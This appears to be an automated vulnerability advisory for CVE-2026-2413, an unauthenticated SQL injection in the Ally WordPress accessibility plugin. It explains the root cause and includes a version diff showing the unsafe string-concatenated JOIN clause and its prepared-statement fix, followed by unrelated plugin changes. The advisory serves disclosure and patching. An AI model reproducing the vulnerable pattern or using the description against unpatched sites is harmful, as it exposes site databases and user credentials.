Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2413: Ally – Web Accessibility & Usability <= 4.0.3 – Unauthenticated SQL Injection via URL Path (pojo-accessibility)

CVE ID CVE-2026-2413
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 4.0.3
Patched Version 4.1.0
Disclosed March 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2413:
The vulnerability resides in the `get_global_remediations()` method within the `Remediation_Entry` class (pojo-accessibility/modules/remediation/database/remediation-entry.php). The root cause is improper handling of user-supplied URL input in SQL JOIN clause construction. The method directly concatenates the `$url` variable into the SQL query string at line 215 without proper SQL escaping or prepared statement usage. While the plugin applies `esc_url_raw()` to the URL for URL safety, this function does not sanitize SQL metacharacters like single quotes or parentheses. This allows an attacker to inject arbitrary SQL syntax into the JOIN condition. The attack vector is unauthenticated HTTP requests that trigger the remediation module, which requires the plugin to be connected to an Elementor account. The vulnerable code path involves the remediation module processing page URLs, where the attacker-controlled URL parameter is passed to the vulnerable method. The patch replaces the direct concatenation with a prepared statement using `Remediation_Table::db()->prepare()`, properly binding the URL parameter as a string value. This ensures the user input is treated as data rather than executable SQL. Successful exploitation enables time-based blind SQL injection attacks, allowing extraction of sensitive database information including user credentials, plugin settings, and other WordPress data.

Differential between vulnerable and patched code

Code Diff
--- a/pojo-accessibility/assets/build/admin.asset.php
+++ b/pojo-accessibility/assets/build/admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '4aa0f17a0ea470f314fd');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '1658788116fcfb4b9142');
--- a/pojo-accessibility/assets/build/deactivation-ally.asset.php
+++ b/pojo-accessibility/assets/build/deactivation-ally.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'dd68ef28d76fc44dbc04');
+<?php return array('dependencies' => array(), 'version' => 'f7ed263719ddea65a684');
--- a/pojo-accessibility/assets/build/remediation-module.asset.php
+++ b/pojo-accessibility/assets/build/remediation-module.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'c8d5a7d08f93c70df17e');
+<?php return array('dependencies' => array(), 'version' => '231b7700c06b20991bab');
--- a/pojo-accessibility/assets/build/reviews.asset.php
+++ b/pojo-accessibility/assets/build/reviews.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-escape-html', 'wp-i18n', 'wp-url'), 'version' => '1a0a65320d7dc27ef227');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-escape-html', 'wp-i18n', 'wp-url'), 'version' => '355e5b14498c9cc11879');
--- a/pojo-accessibility/assets/build/scanner.asset.php
+++ b/pojo-accessibility/assets/build/scanner.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '62d506b627fe238f45b6');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '0fe392df1c5c8f792f36');
--- a/pojo-accessibility/classes/client/client-response.php
+++ b/pojo-accessibility/classes/client/client-response.php
@@ -0,0 +1,45 @@
+<?php
+
+namespace EA11yClassesClient;
+
+use Exception;
+use EA11yClassesExceptionsQuota_Exceeded_Error;
+use EA11yClassesExceptionsQuota_API_Error;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
+class Client_Response {
+	private array $known_errors;
+	/**
+	 * @var mixed
+	 */
+	private $response;
+
+	/**
+	 * @throws Quota_API_Error|Quota_Exceeded_Error|Exception
+	 */
+	public function handle() {
+		if ( ! is_wp_error( $this->response ) ) {
+			return $this->response;
+		}
+
+		$message = $this->response->get_error_message();
+
+		if ( isset( $this->known_errors[ $message ] ) ) {
+			throw $this->known_errors[ $message ];
+		}
+
+		throw new Exception( $message );
+	}
+
+	public function __construct( $response ) {
+		$this->known_errors = [
+			"Quota Status Guard Request Failed!: plan.features.ai_credits Quota exceeded" => new Quota_Exceeded_Error(),
+			"Quota Api Request Failed!: Failed checking if allowed to use quota" => new Quota_API_Error(),
+		];
+
+		$this->response = $response;
+	}
+}
--- a/pojo-accessibility/classes/exceptions/quota-api-error.php
+++ b/pojo-accessibility/classes/exceptions/quota-api-error.php
@@ -0,0 +1,13 @@
+<?php
+
+namespace EA11yClassesExceptions;
+
+use Exception;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
+class Quota_API_Error extends Exception {
+	protected $message = 'Quota API error';
+}
--- a/pojo-accessibility/classes/exceptions/quota-exceeded-error.php
+++ b/pojo-accessibility/classes/exceptions/quota-exceeded-error.php
@@ -0,0 +1,13 @@
+<?php
+
+namespace EA11yClassesExceptions;
+
+use Exception;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
+class Quota_Exceeded_Error extends Exception {
+	protected $message = 'Quota exceeded';
+}
--- a/pojo-accessibility/modules/remediation/components/remediation-runner.php
+++ b/pojo-accessibility/modules/remediation/components/remediation-runner.php
@@ -140,7 +140,22 @@
 		return false;
 	}

+	private function is_builders_view(): bool {
+		// Condition used instead of direct return for feature extend
+
+		// Beaver Builder
+		if ( isset( $_GET['fl_builder'] ) || isset( $_GET['fl_builder_ui'] ) ) {
+			return true;
+		}
+		return false;
+	}
+
 	private function should_run_remediation(): bool {
+		// Skip remediation for editors view
+		if ( $this->is_builders_view() ) {
+			return false;
+		}
+
 		// Skip remediation during template_redirect AJAX requests
 		if ( $this->is_template_redirect_ajax_request() ) {
 			return false;
--- a/pojo-accessibility/modules/remediation/database/remediation-entry.php
+++ b/pojo-accessibility/modules/remediation/database/remediation-entry.php
@@ -212,7 +212,11 @@
 				'operator' => '=',
 			],
 		];
-		$join = "LEFT JOIN $excluded_table ON $remediation_table.id = $excluded_table.remediation_id AND $excluded_table.page_url = '$url'";
+		// Use prepare() to safely bind the URL; never concatenate user input into SQL.
+		$join = Remediation_Table::db()->prepare(
+			"LEFT JOIN $excluded_table ON $remediation_table.id = $excluded_table.remediation_id AND $excluded_table.page_url = %s",
+			$url
+		);
 		return Remediation_Table::select( "$remediation_table.*, COALESCE($excluded_table.active, $remediation_table.active) AS active_for_page", $global_where, null, null, $join );
 	}

--- a/pojo-accessibility/modules/scanner/rest/generate-alt-text.php
+++ b/pojo-accessibility/modules/scanner/rest/generate-alt-text.php
@@ -5,6 +5,9 @@
 use EA11yModulesScannerClassesRoute_Base;
 use EA11yModulesScannerClassesUtils;
 use EA11yClassesUtils as Global_Utils;
+use EA11yClassesClientClient_Response;
+use EA11yClassesExceptionsQuota_Exceeded_Error;
+use EA11yClassesExceptionsQuota_API_Error;
 use Throwable;
 use WP_Error;
 use WP_REST_Response;
@@ -49,21 +52,16 @@

 			$src = $image ?? Utils::create_tmp_file_from_png_base64( $svg );

-			$result = Global_Utils::get_api_client()->make_request(
-				'POST',
-				'ai/image-alt',
-				[],
-				[],
-				false,
-				$src
-			);
-
-			if ( is_wp_error( $result ) ) {
-				return $this->respond_error_json( [
-					'message' => 'Failed to generate Alt Text',
-					'code' => 'internal_server_error',
-				] );
-			}
+			$result = ( new Client_Response(
+				Global_Utils::get_api_client()->make_request(
+					'POST',
+					'ai/image-alt',
+					[],
+					[],
+					false,
+					$src
+				)
+			) )->handle();

 			return $this->respond_success_json( [
 				'message' => 'Alt text generated',
@@ -73,6 +71,16 @@
 				],
 			] );

+		} catch ( Quota_Exceeded_Error $e ) {
+			return $this->respond_error_json( [
+				'message' => 'AI credits quota has been exceeded.',
+				'code' => 'quota_exceeded',
+			] );
+		} catch ( Quota_API_Error $e ) {
+			return $this->respond_error_json( [
+				'message' => 'Quota API error. Try again after sometime.',
+				'code' => 'quota_api_error',
+			] );
 		} catch ( Throwable $t ) {
 			return $this->respond_error_json( [
 				'message' => $t->getMessage(),
--- a/pojo-accessibility/modules/settings/banners/onboarding-banner.php
+++ b/pojo-accessibility/modules/settings/banners/onboarding-banner.php
@@ -91,11 +91,6 @@
 		</div>

 		<style>
-			html[dir="rtl"] #ea11y-app,
-			html:not([dir="rtl"]) #ea11y-app {
-				height: calc(100vh - 32px - 80px);
-			}
-
 			.elementor-ea11y-banner {
 				overflow: hidden;
 				border-left-color: #2563EB;
@@ -177,7 +172,6 @@
 			document.addEventListener('DOMContentLoaded', function () {
 				const banner = document.querySelector('.elementor-ea11y-banner');
 				const button = document.querySelector('.elementor-ea11y-banner button');
-				const pageRoot = document.querySelector('#ea11y-app');

 				const requestData = {
 					action: "<?php echo esc_js( self::POINTER_ACTION ); ?>",
@@ -196,10 +190,6 @@
 								data: requestData,
 								success: () => {
 									banner.remove();
-
-									if (pageRoot) {
-										pageRoot.style.height = 'calc(100vh - 32px)';
-									}
 								},
 								error: (error) => console.error('Error:', error),
 							}
--- a/pojo-accessibility/modules/settings/classes/settings.php
+++ b/pojo-accessibility/modules/settings/classes/settings.php
@@ -18,6 +18,7 @@
 	public const PLAN_SCOPE = 'ea11y_plan_scope';
 	public const WIDGET_ICON_SETTINGS = 'ea11y_widget_icon_settings';
 	public const WIDGET_MENU_SETTINGS = 'ea11y_widget_menu_settings';
+	public const WIDGET_ACTIVATION = 'ea11y_widget_activation_settings';
 	public const SKIP_TO_CONTENT = 'ea11y_skip_to_content_settings';
 	public const ANALYTICS_SETTINGS = 'ea11y_analytics_enabled';
 	public const PLAN_DATA_REFRESH_TRANSIENT = 'ea11y_plan_data_refresh';
--- a/pojo-accessibility/modules/settings/module.php
+++ b/pojo-accessibility/modules/settings/module.php
@@ -149,6 +149,7 @@
 			'unfilteredUploads' => Svg::are_unfiltered_uploads_enabled(),
 			'homeUrl' => home_url(),
 			'isElementorOne' => self::is_elementor_one(),
+			'widgetActivationSettings' => Settings::get( Settings::WIDGET_ACTIVATION ),
 		];
 	}

@@ -398,6 +399,10 @@
 			'anchor' => '#content',
 		];

+		$widget_activation = [
+			'enabled' => true,
+		];
+
 		switch ( $setting ) {
 			case 'widget_menu_settings':
 				return $widget_menu_settings;
@@ -405,6 +410,8 @@
 				return $widget_icon_settings;
 			case 'skip_to_content_settings':
 				return $skip_to_content_setting;
+			case 'widget_activation_settings':
+				return $widget_activation;
 			default:
 				return [];
 		}
@@ -427,6 +434,10 @@
 		if ( ! get_option( Settings::SKIP_TO_CONTENT ) ) {
 			update_option( Settings::SKIP_TO_CONTENT, self::get_default_settings( 'skip_to_content_settings' ) );
 		}
+
+		if ( ! get_option( Settings::WIDGET_ACTIVATION ) ) {
+			update_option( Settings::WIDGET_ACTIVATION, self::get_default_settings( 'widget_activation_settings' ) );
+		}
 	}

 	/**
@@ -497,6 +508,15 @@
 					],
 				],
 			],
+			'widget_activation_settings' => [
+				'type' => 'object',
+				'show_in_rest' => [
+					'schema' => [
+						'type' => 'object',
+						'additionalProperties' => true,
+					],
+				],
+			],
 			'plan_data' => [
 				'type' => 'object',
 				'show_in_rest' => [
@@ -655,16 +675,6 @@
 	}

 	/**
-	 * Hide all admin notices on the settings page
-	 */
-	public function hide_admin_notices() {
-		if ( Utils::is_plugin_settings_page() ) {
-			remove_all_actions( 'admin_notices' );
-			remove_all_actions( 'all_admin_notices' );
-		}
-	}
-
-	/**
 	 * Module constructor.
 	 */
 	public function __construct() {
@@ -681,7 +691,6 @@
 		add_action( 'elementor_one/' . Config::APP_PREFIX . '_migration_run', [ $this, 'on_migration_run' ] );

 		add_action( 'current_screen', [ $this, 'check_plan_data' ] );
-		add_action( 'admin_head', [ $this, 'hide_admin_notices' ] );

 		// Register notices
 		add_action( 'ea11y_register_notices', [ $this, 'register_notices' ] );
--- a/pojo-accessibility/modules/widget/module.php
+++ b/pojo-accessibility/modules/widget/module.php
@@ -21,6 +21,34 @@
 	}

 	/**
+	 * Check if widget module is active
+	 *
+	 * @return bool
+	 */
+	public static function is_active(): bool {
+		// Check parent (legacy mode check)
+		if ( ! parent::is_active() ) {
+			return false;
+		}
+
+		// Check if widget is enabled in settings (default to `true` for backward compatibility)
+		$widget_activation = get_option( Settings::WIDGET_ACTIVATION, [ 'enabled' => true ] );
+
+		// Handle array format (expected)
+		if ( is_array( $widget_activation ) ) {
+			return isset( $widget_activation['enabled'] ) ? (bool) $widget_activation['enabled'] : true;
+		}
+
+		// Backward compatibility: if old boolean format exists
+		if ( is_bool( $widget_activation ) ) {
+			return $widget_activation;
+		}
+
+		// Default to enabled
+		return true;
+	}
+
+	/**
 	 * Enqueue scripts
 	 *
 	 * @return void
--- a/pojo-accessibility/pojo-accessibility.php
+++ b/pojo-accessibility/pojo-accessibility.php
@@ -5,7 +5,7 @@
  * Description: Improve your website’s accessibility with ease. Customize capabilities such as text resizing, contrast modes, link highlights, and easily generate an accessibility statement to demonstrate your commitment to inclusivity.
  * Author: Elementor.com
  * Author URI: https://elementor.com/
- * Version: 4.0.3
+ * Version: 4.1.0
  * Text Domain: pojo-accessibility
  */

@@ -15,7 +15,7 @@

 // Legacy
 define( 'POJO_A11Y_CUSTOMIZER_OPTIONS', 'pojo_a11y_customizer_options' );
-define( 'EA11Y_VERSION', '4.0.3' );
+define( 'EA11Y_VERSION', '4.1.0' );
 define( 'EA11Y_MAIN_FILE', __FILE__ );
 define( 'EA11Y_BASE', plugin_basename( EA11Y_MAIN_FILE ) );
 define( 'EA11Y_PATH', plugin_dir_path( __FILE__ ) );
--- a/pojo-accessibility/vendor/autoload.php
+++ b/pojo-accessibility/vendor/autoload.php
@@ -19,4 +19,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInitef41055ec0a167b43a405426e1a63230::getLoader();
+return ComposerAutoloaderInitdb20a80c441c85143633fd9a45e4bfcc::getLoader();
--- a/pojo-accessibility/vendor/composer/autoload_psr4.php
+++ b/pojo-accessibility/vendor/composer/autoload_psr4.php
@@ -6,6 +6,5 @@
 $baseDir = dirname($vendorDir);

 return array(
-    'Firebase\JWT\' => array($vendorDir . '/firebase/php-jwt/src'),
     'Elementor\WPNotificationsPackage\' => array($vendorDir . '/elementor/wp-notifications-package/src'),
 );
--- a/pojo-accessibility/vendor/composer/autoload_real.php
+++ b/pojo-accessibility/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInitef41055ec0a167b43a405426e1a63230
+class ComposerAutoloaderInitdb20a80c441c85143633fd9a45e4bfcc
 {
     private static $loader;

@@ -22,18 +22,16 @@
             return self::$loader;
         }

-        require __DIR__ . '/platform_check.php';
-
-        spl_autoload_register(array('ComposerAutoloaderInitef41055ec0a167b43a405426e1a63230', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInitdb20a80c441c85143633fd9a45e4bfcc', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInitef41055ec0a167b43a405426e1a63230', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInitdb20a80c441c85143633fd9a45e4bfcc', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInitef41055ec0a167b43a405426e1a63230::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInitdb20a80c441c85143633fd9a45e4bfcc::getInitializer($loader));

         $loader->register(true);

-        $filesToLoad = ComposerAutoloadComposerStaticInitef41055ec0a167b43a405426e1a63230::$files;
+        $filesToLoad = ComposerAutoloadComposerStaticInitdb20a80c441c85143633fd9a45e4bfcc::$files;
         $requireFile = Closure::bind(static function ($fileIdentifier, $file) {
             if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
                 $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
--- a/pojo-accessibility/vendor/composer/autoload_static.php
+++ b/pojo-accessibility/vendor/composer/autoload_static.php
@@ -4,17 +4,13 @@

 namespace ComposerAutoload;

-class ComposerStaticInitef41055ec0a167b43a405426e1a63230
+class ComposerStaticInitdb20a80c441c85143633fd9a45e4bfcc
 {
     public static $files = array (
         '9db71c6726821ac61284818089584d23' => __DIR__ . '/..' . '/elementor/wp-one-package/runner.php',
     );

     public static $prefixLengthsPsr4 = array (
-        'F' =>
-        array (
-            'Firebase\JWT\' => 13,
-        ),
         'E' =>
         array (
             'Elementor\WPNotificationsPackage\' => 33,
@@ -22,10 +18,6 @@
     );

     public static $prefixDirsPsr4 = array (
-        'Firebase\JWT\' =>
-        array (
-            0 => __DIR__ . '/..' . '/firebase/php-jwt/src',
-        ),
         'Elementor\WPNotificationsPackage\' =>
         array (
             0 => __DIR__ . '/..' . '/elementor/wp-notifications-package/src',
@@ -39,9 +31,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInitef41055ec0a167b43a405426e1a63230::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInitef41055ec0a167b43a405426e1a63230::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInitef41055ec0a167b43a405426e1a63230::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInitdb20a80c441c85143633fd9a45e4bfcc::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInitdb20a80c441c85143633fd9a45e4bfcc::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInitdb20a80c441c85143633fd9a45e4bfcc::$classMap;

         }, null, ClassLoader::class);
     }
--- a/pojo-accessibility/vendor/composer/installed.php
+++ b/pojo-accessibility/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'pojome/pojo-accessibility',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '970aefbc629fc07654c273ef06e856537a91617b',
+        'reference' => '6f76a0f64d06be7eb8f3573afd928ada5dea1d43',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -20,27 +20,18 @@
             'dev_requirement' => false,
         ),
         'elementor/wp-one-package' => array(
-            'pretty_version' => '1.0.47',
-            'version' => '1.0.47.0',
-            'reference' => '79b558c889e20b2dfd7aaff33ddf902746a9aac8',
+            'pretty_version' => '1.0.54',
+            'version' => '1.0.54.0',
+            'reference' => null,
             'type' => 'library',
             'install_path' => __DIR__ . '/../elementor/wp-one-package',
             'aliases' => array(),
             'dev_requirement' => false,
         ),
-        'firebase/php-jwt' => array(
-            'pretty_version' => 'v6.10.0',
-            'version' => '6.10.0.0',
-            'reference' => 'a49db6f0a5033aef5143295342f1c95521b075ff',
-            'type' => 'library',
-            'install_path' => __DIR__ . '/../firebase/php-jwt',
-            'aliases' => array(),
-            'dev_requirement' => false,
-        ),
         'pojome/pojo-accessibility' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '970aefbc629fc07654c273ef06e856537a91617b',
+            'reference' => '6f76a0f64d06be7eb8f3573afd928ada5dea1d43',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/pojo-accessibility/vendor/composer/platform_check.php
+++ b/pojo-accessibility/vendor/composer/platform_check.php
@@ -1,25 +0,0 @@
-<?php
-
-// platform_check.php @generated by Composer
-
-$issues = array();
-
-if (!(PHP_VERSION_ID >= 70400)) {
-    $issues[] = 'Your Composer dependencies require a PHP version ">= 7.4.0". You are running ' . PHP_VERSION . '.';
-}
-
-if ($issues) {
-    if (!headers_sent()) {
-        header('HTTP/1.1 500 Internal Server Error');
-    }
-    if (!ini_get('display_errors')) {
-        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
-            fwrite(STDERR, 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, $issues) . PHP_EOL.PHP_EOL);
-        } elseif (!headers_sent()) {
-            echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL;
-        }
-    }
-    throw new RuntimeException(
-        'Composer detected issues in your platform: ' . implode(' ', $issues)
-    );
-}
--- a/pojo-accessibility/vendor/elementor/wp-one-package/assets/build/editor.asset.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/assets/build/editor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-element', 'wp-url'), 'version' => 'b13f933a70b199e27474');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-element', 'wp-url'), 'version' => '01069f38180e7c38f688');
--- a/pojo-accessibility/vendor/elementor/wp-one-package/assets/build/welcome.asset.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/assets/build/welcome.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-element', 'wp-url'), 'version' => 'f863f8f23e2a3b3c1bef');
--- a/pojo-accessibility/vendor/elementor/wp-one-package/runner.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/runner.php
@@ -28,29 +28,26 @@
 	}
 }

-if ( defined( 'WP_PLUGIN_DIR' ) ) {
-	$pattern = '#^' . preg_quote( WP_PLUGIN_DIR, '#' ) . '/([^\/]+)#';
-	$plugin_slug = preg_match( $pattern, __DIR__, $matches ) ? $matches[1] : null;
-	if ( $plugin_slug ) {
-		$wp_one_package_versions[ $plugin_slug ] = '1.0.47';
-	}
+$pattern = '#/([^/]+)/vendor/elementor/#';
+if ( preg_match( $pattern, __DIR__, $matches ) ) {
+	$wp_one_package_versions[ $matches[1] ] = '1.0.54';
 }

-if ( ! function_exists( 'elementor_one_register_1_dot_0_dot_47' ) && function_exists( 'add_action' ) ) {
+if ( ! function_exists( 'elementor_one_register_1_dot_0_dot_54' ) && function_exists( 'add_action' ) ) {

 	if ( ! class_exists( 'ElementorOneVersions', false ) ) {
 		require_once __DIR__ . '/src/Versions.php';
 		add_action( 'plugins_loaded', [ ElementorOneVersions::class, 'initialize_latest_version' ], -15, 0 );
 	}

-	add_action( 'plugins_loaded', 'elementor_one_register_1_dot_0_dot_47', -20, 0 );
+	add_action( 'plugins_loaded', 'elementor_one_register_1_dot_0_dot_54', -20, 0 );

-	function elementor_one_register_1_dot_0_dot_47() {
+	function elementor_one_register_1_dot_0_dot_54() {
 		$versions = ElementorOneVersions::instance();
-		$versions->register( '1.0.47', 'elementor_one_initialize_1_dot_0_dot_47' );
+		$versions->register( '1.0.54', 'elementor_one_initialize_1_dot_0_dot_54' );
 	}

-	function elementor_one_initialize_1_dot_0_dot_47() {
+	function elementor_one_initialize_1_dot_0_dot_54() {
 		// The Loader class will be autoloaded from the highest version source
 		ElementorOneLoader::init();
 	}
--- a/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Components/Assets.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Components/Assets.php
@@ -73,32 +73,12 @@
 	}

 	/**
-	 * Welcome screen completed
-	 * @return bool
-	 */
-	private function welcome_screen_completed(): bool {
-		return (bool) get_option( Fields::SETTING_PREFIX . 'welcome_screen_completed' );
-	}
-
-	/**
 	 * Enqueue app assets
 	 * @param string $package_version
 	 * @return void
 	 */
 	private function enqueue_app_assets( string $package_version ) {
-		if ( ! $this->welcome_screen_completed() ) {
-			// Load the asset file to get dependencies and version
-			$asset_file = ELEMENTOR_ONE_ASSETS_PATH . 'welcome.asset.php';
-			$asset = file_exists( $asset_file ) ? include $asset_file : [
-				'dependencies' => [],
-				'version' => $package_version,
-			];
-
-			wp_enqueue_script( 'elementor-one-admin', ELEMENTOR_ONE_ASSETS_URL . 'welcome.js', $asset['dependencies'], $asset['version'], true );
-			wp_enqueue_style( 'elementor-one-admin', ELEMENTOR_ONE_ASSETS_URL . 'style-welcome.css', [], $package_version );
-		} else {
-			wp_enqueue_script( 'elementor-one-admin', ELEMENTOR_ONE_CLIENT_APP_URL, [], $package_version, true );
-		}
+		wp_enqueue_script( 'elementor-one-admin', ELEMENTOR_ONE_CLIENT_APP_URL, [], $package_version, true );
 	}

 	/**
@@ -128,7 +108,8 @@
 				'elementorNewPostNonce' => wp_create_nonce( 'elementor_action_new_post' ),
 				'elementorSiteSettingsRedirectNonce' => wp_create_nonce( 'elementor_action_site_settings_redirect' ),
 				'elementorEditSiteNonce' => wp_create_nonce( 'elementor_action_edit_website' ),
-				'shareUsageData' => 'yes' === get_option( Onboarding::SETTING_SHARE_USAGE_DATA ),
+				'manageSiteOverviewRedirectNonce' => wp_create_nonce( 'manage_site_overview_redirect' ),
+				'shareUsageData' => 'yes' === Utils::get_one_connect()->data()->get_share_usage_data(),
 				'assetsUIRootUrl' => ELEMENTOR_ONE_UI_ASSETS_ROOT_URL,
 			] ) . ';'
 		);
--- a/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Components/Onboarding.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Components/Onboarding.php
@@ -2,7 +2,6 @@

 namespace ElementorOneAdminComponents;

-use ElementorOneAdminHelpersUtils;
 use ElementorOneConnectFacade;

 if ( ! defined( 'ABSPATH' ) ) {
@@ -15,8 +14,6 @@
  */
 class Onboarding {

-	const SCOPE_SHARE_USAGE_DATA = 'share_usage_data';
-	const SETTING_SHARE_USAGE_DATA = Fields::SETTING_PREFIX . 'share_usage_data';
 	const SETTING_ONBOARDING_COMPLETED = Fields::SETTING_PREFIX . 'onboarding_completed';

 	/**
@@ -42,12 +39,6 @@
 	 * @return void
 	 */
 	public function on_connect( Facade $facade ): void {
-		$jwt_payload = Utils::decode_jwt( $facade->data()->get_access_token() );
-		if ( $jwt_payload ) {
-			$share_usage_data = in_array( self::SCOPE_SHARE_USAGE_DATA, $jwt_payload['scp'] ?? [], true );
-			update_option( self::SETTING_SHARE_USAGE_DATA, $share_usage_data ? 'yes' : 'no' );
-		}
-
 		$option_updated = update_option( self::SETTING_ONBOARDING_COMPLETED, true );
 		if ( true === $option_updated ) {
 			wp_safe_redirect( $facade->utils()->get_admin_url() . '#/home/onboarding' );
--- a/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Helpers/Utils.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Helpers/Utils.php
@@ -142,12 +142,11 @@

 	/**
 	 * Get authorize URL
-	 * @return array|null
+	 * @return string
 	 */
-	public static function get_authorize_url(): ?array {
+	public static function get_authorize_url(): ?string {
 		$facade = self::get_one_connect();
 		$client_id = $facade->data()->get_client_id();
-		$is_new_client = empty( $client_id );

 		if ( ! $client_id ) {
 			try {
@@ -157,10 +156,7 @@
 			}
 		}

-		return [
-			'authorize_url' => $facade->utils()->get_authorize_url( $client_id ),
-			'is_new_client' => $is_new_client,
-		];
+		return $facade->utils()->get_authorize_url( $client_id );
 	}

 	/**
@@ -185,4 +181,18 @@

 		return is_array( $decoded ) ? $decoded : null;
 	}
+
+	/**
+	 * Check if JWT token is expired
+	 * @param string $jwt
+	 * @param int $buffer Buffer in seconds to account for clock skew
+	 * @return bool
+	 */
+	public static function is_jwt_expired( string $jwt, int $buffer = 30 ): bool {
+		$jwt_payload = self::decode_jwt( $jwt );
+		if ( $jwt_payload && isset( $jwt_payload['exp'] ) ) {
+			return ( time() + $buffer ) >= $jwt_payload['exp'];
+		}
+		return false;
+	}
 }
--- a/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Services/Editor.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Services/Editor.php
@@ -5,6 +5,7 @@
 use ElementorOneAdminHelpersUtils;
 use ElementorOneCommonSupportedPlugins;
 use ElementorOneConnectClassesGrantTypes;
+use ElementorOneConnectFacade;
 use ElementorOneLogger;

 if ( ! defined( 'ABSPATH' ) ) {
@@ -23,6 +24,8 @@
 	const CONNECT_APP_LIBRARY = 'library';
 	const CONNECT_APP_ACTIVATE = 'activate';

+	const GET_CLIENT_ID_ENDPOINT = 'get_client_id';
+
 	const SITE_KEY_OPTION_NAME = 'elementor_connect_site_key';
 	const LICENSE_KEY_OPTION_NAME = 'elementor_pro_license_key';
 	const LICENSE_DATA_OPTION_NAME = '_elementor_pro_license_v2_data';
@@ -58,6 +61,10 @@
 	private function __construct() {
 		$this->logger = new Logger( self::class );

+		// Set tracker opt-in
+		add_action( 'elementor_one/elementor_one_connected', [ $this, 'set_tracker_opt_in' ] );
+		add_action( 'elementor_one/elementor_one_disconnected', [ $this, 'set_tracker_opt_in' ] );
+
 		// Filter additional connect info
 		add_filter( 'elementor/connect/additional-connect-info', [ $this, 'filter_additional_connect_info' ], 10, 2 );
 	}
@@ -115,7 +122,10 @@
 			throw new RuntimeException( 'Client ID is not set' );
 		}

-		$current_user_id = get_current_user_id();
+		$owner_id = Utils::get_one_connect()->data()->get_owner_user_id();
+		if ( ! $owner_id ) {
+			throw new RuntimeException( 'Owner user ID is not set' );
+		}

 		try {
 			$response = Utils::get_api_client()->request(
